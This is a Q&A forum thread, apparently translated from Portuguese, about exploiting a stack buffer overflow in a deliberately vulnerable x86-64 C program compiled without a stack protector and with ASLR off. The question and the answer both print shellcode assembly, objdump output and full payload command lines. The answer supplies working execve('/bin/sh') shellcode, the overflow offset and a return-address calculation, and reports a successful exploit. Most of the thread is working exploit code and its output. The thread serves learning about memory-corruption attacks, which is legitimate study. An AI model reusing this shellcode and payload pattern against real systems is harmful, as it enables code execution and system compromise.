Security - Syscall inside shellcode does not execute


I'm studying information security and experimenting with trying to exploit a classic case of buffer overflow.

I've succeeded in creating the shellcode , in its injection into the code and in its execution, the problem is that a syscall for an execve () inside the shellcode simply does not happens.

In detail:

This is the code of the vulnerable program (it was compiled in Ubuntu 15.04 x86-64, with gcc with the flags: "-fno-stack-protector -z execstack -g" and ASLR off):


int do_bof(char *exploit) {
    char buf[128];

    strcpy(buf, exploit);
    return 1;

int main(int argc, char *argv[]) {
    if(argc < 2) {
        puts("Usage: bof <any>");
        return 0;

    puts("Failed to exploit.");
    return 0;

This is a small assembly program that executes a shell with an execve () system call and then ends with an exit (). Note that this code works independently. This is: If compiled and linked independently, it works without problems.

 global _start

 section .text
     jmp short push_shell
     pop rdi
    mov al, 59
    xor rsi, rsi
    xor rdx, rdx
    xor rcx, rcx
    xor al, al
    mov BYTE [rdi], al
    mov al, 60
    call starter
    db  "/bin/sh"

This is the output of a objdump -d -M intel with the binary of the code above, which is where I extract the shellcode :

spawn_shell.o: formato do arquivo elf64-x86-64

Desmontagem da seção .text:

0000000000000000 <_start>:
   0:   eb 16                   jmp    18 <push_shell>

0000000000000002 <starter>:
   2:   5f                      pop    rdi
   3:   b0 3b                   mov    al,0x3b
   5:   48 31 f6                xor    rsi,rsi
   8:   48 31 d2                xor    rdx,rdx
   b:   48 31 c9                xor    rcx,rcx
   e:   0f 05                   syscall 
  10:   30 c0                   xor    al,al
  12:   88 07                   mov    BYTE PTR [rdi],al
  14:   b0 3c                   mov    al,0x3c
  16:   0f 05                   syscall 

0000000000000018 <push_shell>:
  18:   e8 e5 ff ff ff          call   2 <starter>

000000000000001d <shell>:
  1d:   2f                      (bad)  
  1e:   62                      (bad)  
  1f:   69                      .byte 0x69
  20:   6e                      outs   dx,BYTE PTR ds:[rsi]
  21:   2f                      (bad)  
  22:   73 68                   jae    8c <shell+0x6f>

This command would be the payload itself: What injects the shellcode into the program along with the return address that will overwrite the original return address:

ruby -e 'print "\x90" * 103 + "\xeb\x13\x5f\xb0\x3b\x48\x31\xf6\x48\x31\xd2\x0f\x05\x30\xc0\x88\x07\xb0\x3c\x0f\x05\xe8\xe8\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" + "\xd0\xd8\xff\xff\xff\x7f"'

So far, I have already debugged my vulnerable program with the carefully injected shellcode, looking at the RIP register increment, looking at the content of what it points to and checking that content with the opcodes of my shellcode, I have found the following: / p>

  • The return address is overwritten by the one provided by me in the payload correctly and execution jumps to my shellcode.
  • The execution usually happens until the "16:" of the assembly code above, where the system call happens.
  • The system call simply does not happen, even with all registers correctly configured for the system call. Strangely, after the system call, the RAX and RCX registers get all the bits set.

The result is that since the system call did not happen, the jump code snippet is executed again, which causes the execution to skip to the beginning of my shellcode (skipping all NOPs), which causes it is putting the "/ bin / sh" address on the stack continuously until the program crashes and ends in SEGFAULT.

In short, the main problem is this: The syscall inside my shellcode does not run and the exploit does not work, but the syscall inside a program in Assembly independently runs smoothly.

Some other notes:

  • Some would say that I need to finish my string with a null byte. But apparently this is not necessary since my program in Assembly gets a shell even without finishing the string. And I've tried another payload in my vulnerable program with a simple exit () and so on.

  • Remember that this is a vulnerable program compiled for AMD64.

What's wrong with my shellcode?

asked by anonymous 24.07.2015 / 22:58

1 answer


Recalling and brushing bits, you may notice that spawn_shell.asm has problems initializing some registers and ensures that you have found the exact return address, so that you can see an error (maybe typing) between your shellcode and the dump of your assembly:

Piece Dump assembly:

  0:   eb 16                   jmp    18 <push_shell>

Starting your shellcode:


For me it should be \xeb\x16 ,

The same error happens on line 18:

 18:   e8 e5 ff ff ff          call   2 <starter>

In your Shellcode you are:


It should be \xe8\xe5\xff\xff\xff\

The line b: was not converted to hexa "you passed by it"

 b:   48 31 c9                xor    rcx,rcx

In other words, your shellcode has many flaws, this is a serious problem.

But regardless of that let's try to explore your code!

Ubuntu 64bit:

[email protected]:~# uname -a
Linux eder-virtual-machine 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux

[email protected]:~# cat t.asm
xor rdx, rdx
xor rsi, rsi
mov rdi, 0x1168732f6e69622f
shl rdi, 0x8
shr rdi, 0x8
push rdi
mov rdi, rsp
mov rax, 0x111111111111113b
shl rax, 0x38
shr rax, 0x38

Compile, create link and generate dump:

[email protected]:~# nasm -f elf64 t.asm
[email protected]:~# ld -o shellcode t.o
[email protected]:~# objdump -d shellcode

shellcode:     file format elf64-x86-64

Disassembly of section .text:

0000000000400080 <__bss_start-0x200f80>:
  400080:       48 31 d2                xor    %rdx,%rdx
  400083:       48 31 f6                xor    %rsi,%rsi
  400086:       48 bf 2f 62 69 6e 2f    movabs $0x1168732f6e69622f,%rdi
  40008d:       73 68 11
  400090:       48 c1 e7 08             shl    $0x8,%rdi
  400094:       48 c1 ef 08             shr    $0x8,%rdi
  400098:       57                      push   %rdi
  400099:       48 89 e7                mov    %rsp,%rdi
  40009c:       48 b8 3b 11 11 11 11    movabs $0x111111111111113b,%rax
  4000a3:       11 11 11
  4000a6:       48 c1 e0 38             shl    $0x38,%rax
  4000aa:       48 c1 e8 38             shr    $0x38,%rax
  4000ae:       0f 05                   syscall

We have a shellcode ready to run in 64bit:


Okay, I inserted an extra printf into your code to help me figure out the return address (too lazy to use gdb ).


int do_bof(char *exploit) {
    char buf[128];
    printf("%p\n", exploit);
    strcpy(buf, exploit);
    return 1;

int main(int argc, char *argv[]) {
    if(argc < 2) {
        puts("Usage: bof <any>");
        return 0;

    puts("Failed to exploit.");
    return 0;

Compiling the code:

[email protected]:~#gcc -m64 bugado.c -o bugado -z execstack -fno-stack-protector

I used a -m64 to really guarantee the build in 64 bits, cool you set a buffer size 128 , let's see what size things start to get complicated, too lazy to go in gdb again, I'll try find the value in the arm:

[email protected]:~# ./bugado $(python -c 'print  "A" * 128')
Failed to exploit.

No dump none yet OK!

[email protected]:~# ./bugado $(python -c 'print  "A" * 129')
Failed to exploit.
Segmentation fault (core dumped)

Size 129 already gave segmentation fault, but printf's message "Failed to exploit." remains steady there, we are not yet at the right place. I continued to the size 136 :

[email protected]:~# ./bugado $(python -c 'print  "A" * 136')
Segmentation fault (core dumped)

Actually here seems to be the critical point, with 136 bytes, 8 bytes more than buffer size and with return address in 0x7fffffffe8f0 .

My shellcode has 48 Bytes, I hope you have calculated correctly there, for my shellcode the calculation would be 136-48 = 88 bytes that you will need to fill with garbage + return address!

[email protected]:~# ./bugado $(python -c 'print "\x48\x31\xd2\x48\x31\xf6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05" + "A" * 88 + "\x7f\xff\xff\xff\xe8\xf0"[::-1]')
Segmentation fault (core dumped)

Not yet, but look where the return address is now 0x7fffffffe8ea

The address always seems to be the value of the first return address menos 6, in this case a way to get to the correct address would be:

[email protected]:~# printf "%X\n" $((0x7fffffffe8f0 - 6))

Attempting to get the return address fixed:

[email protected]:~# ./bugado $(python -c 'print "\x48\x31\xd2\x48\x31\xf6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05" + "A" * 88 + "\x7f\xff\xff\xff\xe8\xea"[::-1]')
Now the buffer overflow for your code was executed without any major problems, hint, check carefully if the return address is correct, you noticed that after injecting the code the first return address found had to have a setting, if you are not at the correct address you do not have to exploit, I would look fondly at your asm registers, an important point is that your shellcode does not match the hex address shown, looking at your playload say that your shellcode has 33 bytes and you added 103 NOPs before injecting the shellcode + return address (remember your shellcode is missing line and with some hexadecimal codes wrong, as pointing above), this tells me that you found the same exploitable buffer size that was 136 = 103 + 33, the calculation for the exact scan position looks OK, looking from the outside it's impossible to tell if the address shown by you is actually the correct one, so as stated your problem really seems to be your shellcode can be both asm as the conversion of the dump in hex with wrong number and line missing without conversion, the more I have helped!

30.07.2015 / 20:30